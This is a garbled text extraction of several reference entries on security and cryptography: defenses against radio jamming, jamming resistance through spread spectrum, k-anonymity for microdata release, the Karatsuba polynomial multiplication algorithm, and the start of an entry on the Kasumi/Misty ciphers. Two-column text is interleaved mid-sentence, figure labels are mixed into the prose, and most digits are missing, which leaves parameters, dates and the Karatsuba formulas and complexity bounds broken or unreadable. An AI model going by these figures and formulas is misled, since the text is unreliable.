Chirp spread spectrum (CSS) A chirp is a sinusoidal- Jamming Attack Defense. Fig. A graph of a sinusoidal linear
wave signal whose frequency increases or decreases with chirp
time. It is also known as a sweep signal as its frequency
scan through a predetermined frequency band. Modulat-
ing the narrowband signal with a chirp will spread the its effectiveness is determined by SNR or more precisely
signal over a wider frequency band. Similar to frequency jamming-to-signal ratio. Raising the transmission power
hopping technique, chirp spread spectrum can only reduce of the transceiver increases the SNR and reduces the jam-
the narrowband jamming attack, since such a jammer ming effect. However, such a defense method is limited
only affect the chirp receiver for a small percentage of the by the maximum achievable transmission power of the
time. Additionally, if the jammer can determine the tun- transceiver and the jammer as well (Fig. ).
ing slope of the chirp frequency, it can effectively disable
the chirp receiver by sweeping the frequency band at the Jamming Attack Defense in the Link Layer
same pace as the chirp. and Layers Above
Power control To reduce the jamming effect, a trans- Error-correcting code is a block of redundant data that
mitter can increase its transmission power. Essentially, the is appended to the original message at the sender. The
likelihood of correct packet transmission is affected by Code provides extra information for the receiver to iden-
the bit error rate (BER), which is, in turn, determined by tify the location of errors occurring during the transmis-
the signal-to-noise ratio (SNR) []. The higher the SNR sion process and to correct them. However, each type of
is, the less the BER will be. In jamming scenarios, the code has a limit on the total number of errors that it
jamming signal contributes to the noise part, and thus can correct. Typically, the more bits that are added as an
Jamming Attack Defense J
Error-Correction Code, the larger number of errors that can be implemented proactively, one of its biggest advan-
it is capable to correct. The popular codes used in mod- tages is, perhaps, its ability to react to jamming attacks.
ern systems include ReedSolomon codes [], turbo codes, Before the jammer becomes active, the wireless devices
BCH codes, ReedMuller codes, Binary Golay codes, and can work in their original style, for example, working on
low-density parity-check codes (LDPC) []. one channel. As soon as the jamming attacks are detected,
ReedSolomon block code takes a fixed block of input reactive channel adaptation occurs and makes the entire
data and produce a fixed block of output. For example, network or only the jamming region to switch to a different
the most widely used R-S(,) processes one -byte radio channel. As such, it imposes little overhead to wire-
message block at a time, and appends redundant bytes less devices in non-jamming scenarios while altering the
to each block. It can handle up to eight incorrect bytes network working mode on demand to cope with jamming
per data block. Consider the scenario where frequency attacks.
hopping is used and a narrowband jammer is constantly Figure demonstrates the packet delivery time series
jamming one hop. If the total number of hops are , then for the number of packets delivered to the sink, the data
R-S(,) can correct all bit errors caused by this nar- collecting center. During one window interval, each sen-
rowband jammer, and thus reduces the effectiveness of this sor generated five packets and should deliver around five
jammer. As a result, to adequately disturb the communica- packets to the sink. Shortly after the jammer was turned on,
tion, a jammer has to interfere with at least eight hops. nodes {, , } lost their connections because they were
Link-layer channel adaptation The link-layer channel directly affected. After the jammer was detected, nodes
adaptation strategies [, ] work similarly as frequency {, , } switched to the new channel and a subset of
hopping, for example, multiple frequency channels are nodes multiplex between the original and new channels to
being used for data communication. However, unlike relay packets. As a result, nodes {, , } resumed their
physically layer frequency hopping, link-layer chan- ability to deliver packets to the sink.
J
nel adaptation techniques are software-based strategies. Similar to frequency hopping, the link-layer channel
Therefore, they can be deployed on any legacy wireless adaptation can reduce the effectiveness of a narrowband
devices that is able to work on multiple orthogonal chan- jammer who does not follow the network as it switch its
nels. Much work has shown that channel adaptation can working channel.
be applied on sensor platforms (Berkeley motes) [] and Spatial retreats The basic idea behind spatial retreats
. devices []. Although link-layer channel-hopping is that when mobile wireless devices are interfered by
Jammer turned on
Jammer detected
8
41
6 44
45
4
2
# of packets
8
52
6 53
10
4
2
0
0 50 100 150 200
a b Time (x packets)
Jamming Attack Defense. Fig. Illustration of link-layer channel adaptation: (a) the network topology snapshot of the
Mica testbed shortly after the jammer was turned on; (b) packet delivery time series in a ve-packet window when applying
link-layer channel adaptation []
jamming attacks, they should simply move to a safe loca- Convert timing channels The idea of convert chan-
tion, for example an area that is no longer affected by nels [] is that although a jammer might prevent the
jamming attacks. Spatial retreats are suitable for the net- successful reception of packets, the fact that there was an
work that consists of mobile participants, such as users attempted, incoming packet could be exploited to convey
with cell phones, WLAN-enabled laptops, or mobile sen- information. In a conventional network stack, the physical
sors. One potential problem with spatial retreat is that a and data link layers are responsible for providing reliable
mobile jammer can move through the mobile networks packet delivery services. Since jamming disrupts these two
and cause large number of mobile devices to relocate. By layers yet still allows for the detection of packet failure
doing so, an attacker can cause the network to be par- events, it is possible to create a low-rate overlay between
titioned, thereby severing network communications. To the normal data link layer and the network layer that would
address this problem, spatial retreat strategies typically allow for the resumption of network services. As such, the
contain two phases: () Escape phase, in which the wireless overlay first detects failed packet reception in spite of jam-
devices that are located within the jammed area move to ming attacks and then maps the presence of failed packets
safe regions, and () Reconstruction phase, in which the into information that needs to be delivered. One mapping
mobile devices move around to achieve uniform network strategy is to let each sender modulate the packet transmis-
coverage, thereby preventing the jammer from partition- sion time using an Optical Orthogonal Code (OOC) []
ing the network [], as illustrated in Fig. . that is assigned to it, and the receiver uses the same code
100 100
90 90
80 80
70 70
60 60
y (in meter)
y (in meter)
50 50
40 40
30 30
20 20
10 10
0 0
0 10 20 30 40 50 60 70 80 90 100 0 10 20 30 40 50 60 70 80 90 100
x (in meter) x (in meter)
100 100
90 90
80 80
70 70
60 60
y (in meter)
y (in meter)
50 50
40 40
30 30
20 20
10 10
0 0
0 10 20 30 40 50 60 70 80 90 100 0 10 20 30 40 50 60 70 80 90 100
x (in meter) x (in meter)
Jamming Attack Defense. Fig. Illustrate that a robust spatial retreats algorithm can repair the eect of a jammer passing
through the coverage region []. The red circle depicts the jamming range
Jamming Resistance J
to recover the information being modulated, similar to

the principle of code division multiple access (CDMA). Jamming Resistance
Covert Timing Channel techniques are not only suitable
for narrowband jammers but also suitable for broadband Srdjan Capkun
jammers without unlimited transmission. System Security Group, Department of Computer
Science, Zrich, Switzerland
Open Problems
In terms of jamming attack defense strategies, there is no Related Concepts
panacea capable of restoring the communication disrupted Direct Sequence Spread Spectrum; Frequency Hop-
by any types of jamming attacks. Each jamming defense ping Spread Spectrum; Uncoordinated Spread Spectrum
strategy has its limitation on its achievable anti-jam mar-
gins and thus can only make certain types of jamming Definition
difficult. It is thus to be discovered, if possible, a panacea In radio communications, jamming is defined as the inten-
for jamming attacks. tional prevention of communication by the use of electro-
magnetic signals. Jamming resistance techniques provide
Recommended Reading resilience to jamming attacks when the attacker has limited
. Adamy D () EW : a second course in electronic warfare.
transmission power and therefore cannot prevent com-
Artech House
. Chen Y, Xu W, Trappe W, Zhang Y () Securing emerging
munication on all available communication frequencies
wireless systems -lower-layer approaches. Springer simultaneously.
. Chung F, Salehi J, Wei V () Optical orthogonal codes: design,
analysis and applications. IEEE Trans Inform Theory, (): Background J
Jamming resistance has been considered already in the
. Code of Federal Regulations. cfr .. http://frwebgate.
early s. Nikola Tesla discussed it in in two US
access.gpo.gov/
. Dixon R () Spread spectrum systems. Wiley, New York patents; in those patents he also described jamming resis-
. George Mason University School of Law. The genesis of tance techniques similar to frequency hopping. In , a
unlicensed wireless policy: how spread spectrum devices German radio pioneer Johannes Zenneck mentioned fre-
won access to license-exempt band-width. http://iep.gmu.edu/ quency hopping in his book Wireless Telegraphy. Several
UnlicensedWireless
other inventions of frequency hopping have later followed
. Kim S, Stark W () Optimum rate reed-solomon codes for
frequency-hopped spread-spectrum multiple-access communi- of which the US patent by the actress Hedy Lamarr
cation systems. IEEE Trans Commun and composer George Antheil is the most well known.
. Ma K, Zhang Y, Trappe W () Mobile network management The books by Adamy give a good overview of jamming
and robust spatial retreats via network dynamics. In: Proceed- resistance in the context of the electronic warfare.
ings of the st International workshop on resource provisioning
and management in sensor networks (RPMSN )
. Marcus MJ Early civil spread spectrum history. http://www.
Theory
marcus-spectrum.com/SSHistory.htm Spread spectrum (SS) techniques represent a common
. Navda V, Bohra A, Ganguly S, Izmailov R, Rubenstein D () way to achieve anti-jamming communication. These tech-
Using channel hopping to increase . resilience to jamming niques use data-independent, random sequences to spread
attacks. In: IEEE Infocom Minisymposium, pp
a narrowband information signal over a wide (radio) band
. Peterson WW, Weldon EJ () Error-correcting codes. MIT
Press
of frequencies. Under the premise that it is hard or infeasi-
. Viterbi AJ, Omura JK () Principles of digital communication ble for an attacker to jam the entire frequency band, the
and coding. McGraw-Hill receiver can correlate the received signal with a replica
. Wood AD, Stankovic JA, Zhou G () Deejam: defeating of the random sequence to retrieve the original informa-
energy efficient jamming in ieee ..-based wireless net-
tion signal. Important instances of spread spectrum tech-
works. In: Communications society conference on sensor, mesh
and ad hoc communications and networks (SECON)
niques are frequency hopping spread spectrum (FHSS)
. Xu W, Trappe W, Zhang Y () Channel surfing: defending and direct-sequence spread spectrum (DSSS). In FHSS, the
wireless sensor networks from interference. In: IPSN , Pro- sender and the receiver agree on a (hopping) sequence of
ceedings of the th international conference on Information channels on which they will communicate in the future.
processing in sensor networks, pp
This sequence is typically generated from a secret shared
. Xu W, Trappe W, Zhang Y (). Anti-jamming timing chan-
nels for wireless networks. In: WiSec , Proceedings of the
by the sender and the receiver. In DSSS, the data sig-
first ACM conference on wireless network security, New York. nal is modulated with a continuous, predefined spread-
pp ing signal of a higher frequency, also called the chipping
J Jamming Resistance
sequence. During the modulation, the data signal gets spread spectrum techniques (uncoordinated FHSS and
spread in the frequency domain and thus becomes resistant uncoordinated DSSS) have also been proposed. Those
against (narrow-band) interference. Given a sufficiently techniques allow jamming-resistant communication with-
high frequency of the spreading signal, the resulting signal out shared keys and therefore enable jamming-resistant
becomes hidden in the noise of the wireless channel. The broadcast communication.
processing gain of the communication system (indicating Besides FHSS and DSSS, the use of chirp signals has
the ratio by which interference can be suppressed relative also been proposed for jamming-resistant communication.
to the original signal) defines the required length of the A chirp is a sine signal in which the frequency of the signals
DSSS spreading code, determining the spreading signal. A (rapidly) increases or decreases within a given frequency
combination of FHSS and DSSS can also be used; here, the range. When used for jamming-resistant communication,
communicating parties hop between frequency channels the start time of a chirp signal, which determines the start
within which they then spread their signals using DSSS. of the frequency sweep, is agreed between the communi-
Essential for both FHSS and DSSS communication is cating parties prior to the communication, but is unknown
that the sender and the receiver share a secret prior to their to the jammer.
communication. This enables the receiver to generate the
random sequence and to detect and decode the senders
spread signal. Jamming resilience is based on the fact Recommended Reading
that the attacker does not know which spreading/hopping
. Adamy D () Ew : a first course in electronic warfare.
sequences will be used by the sender prior to the commu- Artech House Radar Library, Norwood
nication, and that during the message transmission it will . Adamy D () EW : a second course in electronic warfare.
not be able to find this sequence. Recently, uncoordinated Artech House Radar Library, Norwood
K
records refer, or, worse, to determine them exactly. This
k-Anonymity problem has raised particular concerns in the medical and
financial fields, where microdata, which are increasingly
Pierangela Samarati released for circulation or research, can be or have been
Dipartimento di Tecnologie dellInformazione (DTI), subject to abuses, compromising the privacy of individuals.
Universit degli Studi di Milano, Crema (CR), Italy Several techniques have been proposed in the litera-
ture to protect the disclosure of information that should
Related Concepts be kept private. Some techniques protect data by mask-
Identity Disclosure; Microdata Protection ing or perturbing their values, while others protect data by
replacing them with plausible, but made up, values. Among
Denition them, there are the commonly used approaches like sam-
k-Anonymity is a property that captures the protection pling, swapping values, and adding noise to the data that
of released data against possible reidentification of the maintain some overall statistical properties of the resulting
respondents to whom the data refer. k-Anonymity states sanitized data. The main limitation of these techniques is
that the released data should be indistinguishably related that they cannot be used when it is important to maintain
to no less than k respondents. the truthfulness of the data (i.e., no fake or false data can
be released). k-Anonymity [] has been proposed as a tech-
Background nique for protecting data referred to users while preserving
The increased power and interconnectivity of computer the truthfulness of the data.
systems available today provide the ability of storing,
processing, sharing, and disseminating large amounts of Theory and Applications
data, resulting in networked information accessible any- The work on k-anonymity [] introduced a basic idea that
where anytime. If in the past the released information was conveniently allows protecting the privacy of the identi-
mostly in statistical and tabular form (macrodata), many ties of individuals reported in datasets undergoing public
situations require today that the specific stored data them- or semipublic disclosure. The work started from the obser-
selves (microdata) be released. The advantage of releas- vations that released data, even if apparently anonymized
ing microdata instead of specific precomputed statistics is because explicitly identifying information (e.g., Social
an increased flexibility and availability of information for Security Numbers) have been removed, may contain other
the users. To protect the anonymity of the entities, called data (e.g., race, birth date, sex, ZIP code) which uniquely
respondents, to whom the released microdata refer, data or almost uniquely pertain to specific individuals to whom
holders often remove, encrypt, or code identity informa- the data refer and make them stand out from others.
tion such as names, telephone numbers, and Social Secu- These other data work then as quasi-identifiers. By link-
rity Numbers. The resulting de-identifying data, however, ing these identifying characteristics to publicly available
provide no guarantee of anonymity. In fact, de-identifying databases associating these characteristics with the indi-
data can be analyzed by powerful techniques and sophis- viduals identity, the data recipients can determine to which
ticated algorithms, thus making possible linking attacks individual each piece of released data belongs, or restrict
combining information available through different sources their uncertainty to a specific subset of individuals. As an
to infer information that was not intended for disclo- example, consider the microdata table in Fig. a and the
sure. For instance, by linking de-identified medical records non-de-identified public table in Fig. b. Released attributes
with other publicly available data or by looking at unique Race, Sex, MaritalStatus, and ZIP can be linked
characteristics found in the released medical data, a data to the public tuples in and reveal information on Name,
observer will most certainly be able to reduce the uncer- Address, and City. In the table in , for example, there
tainty about the identities of the users to whom the medical is only one single Asian male living in the area.
K k-Anonymity
SSN Name Race Sex MaritalStatus ZIP Disease

black M married 22012 stomach ulcer
black M divorced 22017 gastritis
white F married 22023 chest pain
white F widow 22024 heart attack
white F married 22024 short breath
a Asian M single 22038 hypertension
Name Address City Race Sex MaritalStatus ZIP

...... ...... ...... ...... ...... ...... ......
John Green Pencil Rd. Fairfax Asian M single 22038
b ...... ...... ...... ...... ...... ...... ......
k-Anonymity. Fig. An example of a de-identied microdata table (a) and of a non-de-identied public available table (b)
This combination, if unique in the external world as well, techniques that have the advantage of preserving the
uniquely identifies the corresponding tuple as pertaining truthfulness of the information. Generalization consists
to John Green, Pencil Rd., Fairfax, thus revealing in replacing the values of an attribute with more general
that he suffers from hypertension. To be able to protect values (e.g., the data of birth can be substituted with the
information from such linking and correlation attacks, k- year of birth). In the original k-anonymity proposal [],
anonymity requires that each released data be such that generalization is based on a domain generalization hier-
every combination of values of quasi-identifiers can be archy and a corresponding value generalization hierarchy
indistinctly matched to no less than k individuals. Since on the values in the domains. The domain generalization
it seems impossible, or highly impractical and limiting, hierarchy is a total order and the corresponding value gen-
to make assumptions on the datasets available for linking eralization hierarchy a tree, where the parent/child rela-
to external attackers or curious data recipients, essentially tionship represents the direct generalization/specialization
k-anonymity takes a safe approach requiring that, in the relationship. Figure illustrates an example of possible
released table itself, the respondents be indistinguishable domain and value generalization hierarchies for attributes
(within a given set) with respect to a set of attributes. MaritalStatus and ZIP. A generalization process
To guarantee the k-anonymity requirement, k-anonymity therefore proceeds by replacing the values represented
requires each quasi-identifier value in the released table to by the leaf nodes with one of their ancestor nodes at
have at least k occurrences. This is clearly a sufficient condi- a higher level. Recent approaches also generalize data
tion for the k-anonymity requirement: if a set of attributes without following a predefined and static hierarchy but
of external tables appears in the quasi-identifier associ- construct a hierarchy during the anonymization process
ated with the released data, and the released data satisfy (e.g., [, ]). Different generalized microdata tables can be
this condition, the combination of the released data with built, depending on the amount of generalization applied
the external data will never allow the recipient to associate on the considered attribute. The final effect of a generaliza-
each released tuple with less than k respondents. The prin- tion is that tuples in the original microdata table with dif-
ciple behind the k-anonymity requirement in itself is not ferent values for the quasi-identifier are generalized to the
new as it has long been applied and enforced by national same value, thus becoming indistinguishable. Suppression
statistical agencies in the release of census or survey data. consists in removing data from the table so that they are not
The novelty is the translation of such a practice into a sim- released. Suppression is used to moderate the generaliza-
ple and easily enforceable definition on the datasets to be tion process when a limited number of outliers (i.e., tuples
released. with less than k occurrences) would force a great amount of
generalization. For instance, Figure illustrates an example
Generalization and Suppression of a -anonymous table, obtained by generalizing attributes
The concept of k-anonymity and its formalization have MaritalStatus and ZIP according to the generaliza-
been proposed together with its enforcement via gen- tion hierarchies in Fig. , and suppressing the last tuple in
eralization and suppression, two microdata protection the table in Fig. a, which represents an outlier.
k-Anonymity K
M2 = {any_marital_status} any_marital_status
M1 = {been_married, never_married} been_married never_married
married divorced widow single

a M0 = {married, divorced, widow, single}
Z2 = {220} 220
Z1 = {2201, 2202, 2203}

2201 2202 2203
Z0 = {22012, 22017, 22023, 22024, 22038}
b 22012 22017 22023 22024 22038
k-Anonymity. Fig. An example of domain and value generalization hierarchies for attributes MaritalStatus (a) and Zip (b)
SSN Name Race Sex MaritalStatus ZIP Disease

black M been_married 2201* stomach ulcer
black M been_married 2201* gastritis
white F been_married 2202* chest pain
white F been_married 2202* heart attack K
white F been_married 2202* short breath
k-Anonymity. Fig. An example of a -anonymous table
Generalization and suppression can be applied at dif- at all possible granularity levels (including combinations
ferent levels of granularity. Generalization can be applied where one of the two techniques is not adopted) []. It is
at the attribute level (AG), substituting all the values in a interesting to note that the application of generalization
column with generalized values; or at the cell level (CG), and suppression at the same granularity level is equivalent
substituting the cell value with one of its generalizations. to the application of generalization only (AG_AG_AS
It is important to note that attribute level generalization and CG_CG_CS), since suppression can be modeled as a
guarantees that all the values in a column represent the generalization of all domain values to a unique value. Com-
information at the same level of detail (e.g., column ZIP binations CG_TS (cell generalization, tuple suppression)
contains only the first four digits of the ZIP codes for and CG_AS (cell generalization, attribute suppression) are
all the respondents). On the contrary, cell level general- not applicable since the application of generalization at
ization allows different cells in the same column to rep- the cell level implies the application of suppression at that
resent the information at different levels of detail (e.g., level too.
column ZIP contains the complete ZIP code for a sub-
set of the respondents and only the first four digits for Algorithms for Enforcing k-Anonymity
all the other respondents). Suppression can be applied at The application of generalization and suppression to a
the tuple level (TS), meaning that a tuple can be sup- microdata table produces less precise (more general) and
pressed only in its entirety; at the attribute level (AS), less complete (some values are suppressed) tables that pro-
meaning that an attribute can be suppressed only in its vide protection of the respondents identities. It is therefore
entirety; or at the cell level (CS), meaning that a cell can be important to minimize the information loss caused by gen-
suppressed independently from the other cells in the col- eralization and suppression since otherwise the released
umn/row of the microdata table. Figure summarizes the table would not be of interest for the final recipient. The
different combinations of generalization and suppression problem of computing an optimal k-anonymous table (i.e.,
K Karatsuba Algorithm
Suppression
Generalization
Tuple Attribute Cell None
Attribute AG_TS AG_AS AG_CS AG_
AG_ AG_AS
Cell CG_TS CG_AS CG_CS CG_
not applicable not applicable CG_ CG_CS
None _TS _AS _CS _
not interesting
k-Anonymity. Fig. Classication of k-anonymity techniques
a table that does not generalize or suppress more than it is

needed to reach the threshold k) adopting attribute level Karatsuba Algorithm
generalization and tuple level suppression (AG_TS) has
been widely studied in the literature and has been proved to Andr Weimerskirch
be computationally hard []. Several exact algorithms have escrypt Inc., Ann Arbor, MI, USA
been then proposed for producing k-anonymous tables.
Since the majority of these exact algorithms have compu- Related Concepts
tational time exponential in the number of the attributes Finite Field Multiplication
composing the quasi-identifier, heuristics algorithms have
been also proposed. Like AG_TS, also all the other models Denition
investigated in the literature (i.e., AG_, CG_, and _CS) as A method for multiplying two polynomials that saves
well as _AS are NP-hard. coefficient multiplications at the cost of extra additions
compared to the schoolbook multiplication method.
Theory
Open Problems The Karatsuba Algorithm (KA) for multiplying two poly-
k-Anonymity is a property that captures the protection of nomials was introduced in []. It saves coefficient
released data against identity disclosure. Other approaches multiplications at the cost of extra additions compared to
(e.g., -diversity, t-closeness) extend k-anonymity against the schoolbook or ordinary multiplication method. The
attribute disclosure, which occurs when released data can basic KA is performed as follows. Consider two degree-
be exploited to infer sensitive information of respondents. polynomials A(x) and B(x) with n = coefficients.
A major difficulty in the application of k-anonymity is
determining which attributes constitute a quasi identifier. A(x) = a x + a
Also, further investigation is needed for modeling and B(x) = b x + b
blocking inferences due to external knowledge (other than
Let D , D , D, be auxiliary variables with
the association between quasi identifiers and identities)
that can allow improper leakage of identities or attributes D = a b
associated with respondents.
D = a b
D, = (a + a )(b + b )
Recommended Reading Then the polynomial C(x) = A(x)B(x) can be calculated
. Bayardo RJ, Agrawal R () Data privacy through optimal in the following way:
k-anonymization. In: Proceedings of the International Confer-

ence on Data Engineering (ICDE), Tokyo, Japan, April C(x) = D x + (D, D D ) x + D
. Ciriani V, De Capitani di Vimercati S, Foresti S, Samarati P ()
k-Anonymity. In: Yu T, Jajodia S (eds) Security in Decentralized This method requires three multiplications and four addi-
Data Management. Springer, Heidelberg tions. The schoolbook method requires n multiplications
. LeFevre K, DeWitt D, Ramakrishnan R () Mondrian mul- and (n ) additions, i.e., four multiplications and one
tidimensional k-anonymity. In: Proceedings of the International
addition. Clearly, the KA can also be used to multiply
Conference on Data Engineering (ICDE), Atlanta, GA, April

integer numbers.
. Samarati P () Protecting respondents identities in microdata The KA can be generalized for polynomials of arbitrary
release. IEEE Trans Knowl Data Eng (): degree []. The following algorithm describes a method
Karatsuba Algorithm K
to multiply two arbitrary polynomials with n coefficients with auxiliary variables

using the one-iteration KA.
D = a b
Algorithm Generalized One-Iteration KA
Consider two degree-d polynomials with n = d+ coefficients D = a b
d d
D = a b
i i
A(x) = ai x , B(x) = bi x D, = (a + a )(b + b )
i= i=
D, = (a + a )(b + b )
Compute for each i = , . . . , n
D, = (a + a )(b + b )
Di := ai bi
Then C(x) = A(x) B(x) is computed by an extended ver-
Calculate for each i = , . . . , n and for all s and t with sion of the KA using multiplications and additions. The
s + t = i and t > s schoolbook method requires in this case multiplications
and additions.
Ds,t := (as + at ) (bs + bt )
C(x) = D x + (D, D D ) x
Then C(x) = A(x) B(x) = n i
i= ci x can be computed as

+ (D, D D + D ) x
c = D
+ (D, D D ) x + D
cn = Dn

s+t=i;t>s Ds,t The KA can be performed recursively to multiply two

polynomials as shown in Algorithm . Let the number

s+t=i;nt>s (Ds + Dt )

of coefficients be a power of , n = i . To apply the K

for odd i, < i < n algorithm both polynomials are split into a lower and an

upper half.
ci = s+t=i;t>s Ds,t

s+t=i;nt>s (Ds + Dt ) A(x) = Au (x) xn/ + Al (x)

+Di/ B(x) = Bu (x) x
n/
+ Bl (x)

for even i, < i < n
These halves are used as before, i.e., as if they were coeffi-
cients. The polynomials Au , Al , Bu , and Bl are split again
The number of auxiliary variables is given as: in half in the next iteration step. In the final step of the
recursion, the polynomials degenerate into single coeffi-
#Di = n cients. Since every step exactly halves the number of coef-
ficients, the algorithm terminates after t = log n steps.
#Ds,t = n / n/ Note that there are overlaps of the coefficient positions
when combining the result that lead to further additions.
#D = #Di + #Ds,t = n / + n/ For example, consider Algorithm where N is the num-
ber of coefficients of A(x) and B(x). The polynomial D
The operational complexity is as follows: has N coefficients such that the upper N/ coeffi-
cients of D are added to the lower N/ coefficients of
#MUL = n / + n/
(D, D D ).
Let #MUL and #ADD be the number of multiplications
#ADD = / n / n +
and additions, respectively, in the underlying coefficient
For example, consider the KA for three coefficients. Let ring. Then the complexity to multiply two polynomials
A(x) and B(x) be two degree- polynomials: with n = i coefficients is as follows []:
A(x) = a x + a x + a #MUL = nlog
B(x) = b x + b x + b #ADD nlog n +

K Karatsuba Algorithm
Algorithm Recursive KA, C = KA(A, B) multiplications is as follows:
INPUT: Polynomials A(x) and B(x) j

OUTPUT: C(x) = A(x) B(x) #MULj ni
= (/)j ni (ni + )
N max(degree(A), degree(B)) +
i=
i=
if N = return A B
Let A(x) = Au (x) xN/ + Al (x) The number of additions is a complex expression []. There
and B(x) = Bu (x) xN/ + Bl (x) is a simple rule for the generic recursive KA to be most
D KA(Al , Bl ) efficient: use the factorization of a number n with multi-
D KA(Au , Bu ) ple prime factors combined with an increasing sequence of
j
D, KA(Al + Au , Bl + Bu ) steps, i.e., KA for n = i= ni with ni ni+ , e.g., for
return D xN + (D, D D )xN/ + D polynomials with coefficients. In this case the polyno-
mials with coefficients are first split into an upper and
lower half of coefficients each, and the KA for two coef-
The recursive KA can be generalized in various ways. If ficients is applied to these halves. These polynomials of
the number of coefficients n is no power of , Algorithm coefficients are again split in half, and the KA for two coef-
is slightly altered by splitting the polynomials into a lower ficients is applied to the two halves. In the next recursion
part of N/ coefficients and and upper part of N/ step the polynomials of coefficients are split into parts
coefficients. This variant is called the simple recursive KA. of coefficients each, and so on. Note that in most cases the
In this case the KA is less efficient than for powers of simple recursive KA that splits the operands in two halves
. A lower bound for the number of multiplications is of size n/ and n/ is more efficient than the general
given by #MULlow = nlog whereas an upper bound is recursive KA, especially when the number of coefficients n
#MULup = . nlog . When applying the one-iteration has large prime factors.
KA for two and three coefficients as basis of the recur- The recursive KA versions are more efficient than the
sion, i.e., when applying the KA for two and three coeffi- one-iteration KA. For example, instead of using the one-
cients as final recursion step, the upper bound improves to iteration KA for n = coefficients one can use the recur-
#MULup = . nlog . When applying the one-iteration sive KA and split the coefficient polynomial into two
KA for two, three, and nine coefficients as basis of the polynomials of and coefficients, respectively. Alter-
recursion, the upper bound further improves to #MULup = natively you could split the coefficient polynomial into
. nlog . three parts of , , and coefficients, respectively. In the
In the same manner, bounds for the number of addi- next recursion step the polynomials are again split in two
tions are obtained #ADDlow = nlog n + and or three parts, and so on. However, a number of intermedi-
#ADDup = . nlog which improves for a basis of two ate results has to be stored due to the recursive nature. This
and three coefficients to #ADDup = . nlog . For a basis might reduce the efficiency of the recursive KA variants for
of two, three, and nine coefficients, it further improves to small-sized polynomials.
#ADDup = . nlog . The simple recursive KA is the easiest and most effi-
When using the recursive KA for n = pj coefficients, cient way to implement the KA when the number of
i.e., applying the KA for p coefficients for j recursion lev- coefficients is unknown at implementation time or if it
els, the number of multiplications is given as #MUL = often changes. It is especially efficient if special cases are

nlogp (/p +/p) . For p = the number of multiplications is implemented as basis of the recursion. Providing special
given by #MUL = nlog whereas for large p this converges cases for n = and n = coefficients using the one-
to (/)j n . iteration KA as well as for n = using the KA that splits
j
Now two polynomials A(x) and B(x) with n = i= ni the operands into three parts recursively yield efficient
coefficients are considered that are multiplied with a vari- running times.
ant of the KA, called generic recursive KA. First the term Further improvements are possible due to the use of
nj j
A(x) = s= As xsi= ni is written as polynomial with nj dummy coefficients. For example, to multiply two polyno-
coefficients Ai (and the same for B(x)). Each of these coef- mials of n = coefficients it might be useful to append
j
ficients is itself a polynomial with i= ni coefficients. a zero coefficient and use a recursive KA for k = coeffi-
Then the recursive KA for nj coefficients is used until the cients. Some operations can be saved whenever the leading
recursion eventually terminates. The number of needed zero coefficient is involved. However, this gains only little
Kasumi/Misty K
improvement to the simple recursive KA without using Applications

dummy coefficients. Multiplying two polynomials efficiently is an important
The time-ratio between a multiplication and an addi- issue in a variety of applications, including signal process-
tion on a given platform r = tm /ta where tm and ta denotes ing, cryptography and coding theory. The KA can be found
the cost for a multiplication and an addition, respectively. in the modular integer multiplication of elliptic curve cryp-
Let #MUL and #ADD be the number of multiplications tography and RSA. In particular, the KA is used to multiply
and additions that the KA needs to multiply two polyno- elements of a finite field GF(pm ), followed by a modular

mials of n coefficients, and r = #ADD(n)
n #MUL
. If the actual reduction. The KA can also be used for squaring in finite
ratio r on a given hardware platform is larger than r then fields. Note that for very large operands, other algorithms
it is more efficient to use the KA instead of the ordinary such as fast Fourier transformation offer advantages over
method. One can show that the KA always outperforms the KA.
the ordinary multiplication method if r > , i.e., if one
multiplication takes longer than three additions the KA
performs faster than the ordinary schoolbook method. For Recommended Reading
some cases the KA is always faster than the schoolbook . Bernstein DJ () Multidigit multiplication for mathemati-
cians. Accepted to Advances in Applied Mathematics, but with-
method, i.e., it needs less multiplications and additions. drawn by author. Available at http://cr.yp.to/papers.html#m.
However, there are also cases where it is more efficient to . Erdem SS () Improving the Karatsuba-Ofman multiplication
use a combination of KA and the schoolbook method. For algorithm for special applications. PhD thesis, Department of
example, consider the case n = and a platform with r = . Electrical & Computer Engineering, Oregon State University,
When applying the elementary recursive KA it needs Nov
. Karatsuba A, Ofman Y () Multiplication of multidigit num-
multiplications and additions, resulting in r = .. bers on automata. Sov Phys Dokl :
Since r > r it is more efficient to use the KA. However, . Knuth DE () The art of computer programming, vol :
for n = the ratio is r = .. Thus it is more efficient to Seminumerical algorithms, rd edn. Addison-Wesley, Reading, K
use the ordinary method to multiply polynomials with four Massachusetts
coefficients. Therefore it is efficient to apply one recursive . Paar C () Efficient VLSI architecture for bit parallel com-
putation in galois fields. PhD thesis, Institute for Experimental
KA step, and then use the schoolbook method to multiply Mathematics, University of Essen, Germany
the polynomial halves of degree three. . Weimerskirch A, Paar C () Generalizations of the Karatsuba
For some applications it is wise to use efficient under- algorithm for efficient implementations. Technical Report, Ruhr-
lying macros to multiply two polynomials with w coeffi- University Bochum. Available at http://www.crypto.rub.de
cients. For example, there might be a macro to multiply
two polynomials with four coefficients. Then two polyno-
mials with n = coefficients can be multiplied by using
the KA for / = coefficients. In most cases it is effi-
cient to use a mixture of different recursive steps combined
Kasumi/Misty
with different underlying macros. Note that there might be
optimized versions of the KA for special underlying coeffi- Christophe De Cannire
cient rings like binary or prime fields. Also note that the KA Department of Electrical Engineering, Katholieke
can be applied to squaring polynomials by simply replacing Universiteit Leuven, Leuven-Heverlee, Belgium
all the coefficient multiplications by coefficient squarings.
Although there is no special form of a squaring KA there Related Concepts
still might be a performance gain compared to the ordinary Block Ciphers
squaring method which requires n squarings, n(n )/
multiplications, and (n) additions. However, this varies MISTY [] is a -bit block cipher designed by
for different platforms and depends on the ratio in time Mitsuru Matsui and first published in . A variant of
between a squaring and a multiplication. In most cases, this cipher, called KASUMI [], was adopted in as
i.e., if n is not very small, the squaring KA outperforms the part of the confidentiality and integrity system for mobile
ordinary squaring method []. communication specified by the Third Generation Part-
Further information about the Karatsuba and simi- nership Project (GPP). MISTY itself was submitted to
lar algorithms can be found in [, ]. Further aspects of the NESSIE project and included in its portfolio of rec-
efficient implementations are presented in [, ]. ommended cryptographic primitives in .
K Kasumi/Misty
32 32 32 32
FO 16 16
FO
Fl 9 7
S9
FO FO
Fl S7
S9
Fl
FO FO
Fl Level3
(3 rounds)
FO Level2
(3 rounds)
MISTY1 Level1 MISTY2 Level1

(n rounds) (n rounds)
Kasumi/Misty. Fig. Recursive structure of MISTY
MISTY and KASUMI operate on -bit blocks and MISTY has been widely studied since its publica-
require a -bit secret key. Both have a similar recursive tion, but no serious flaws have been found. Currently,
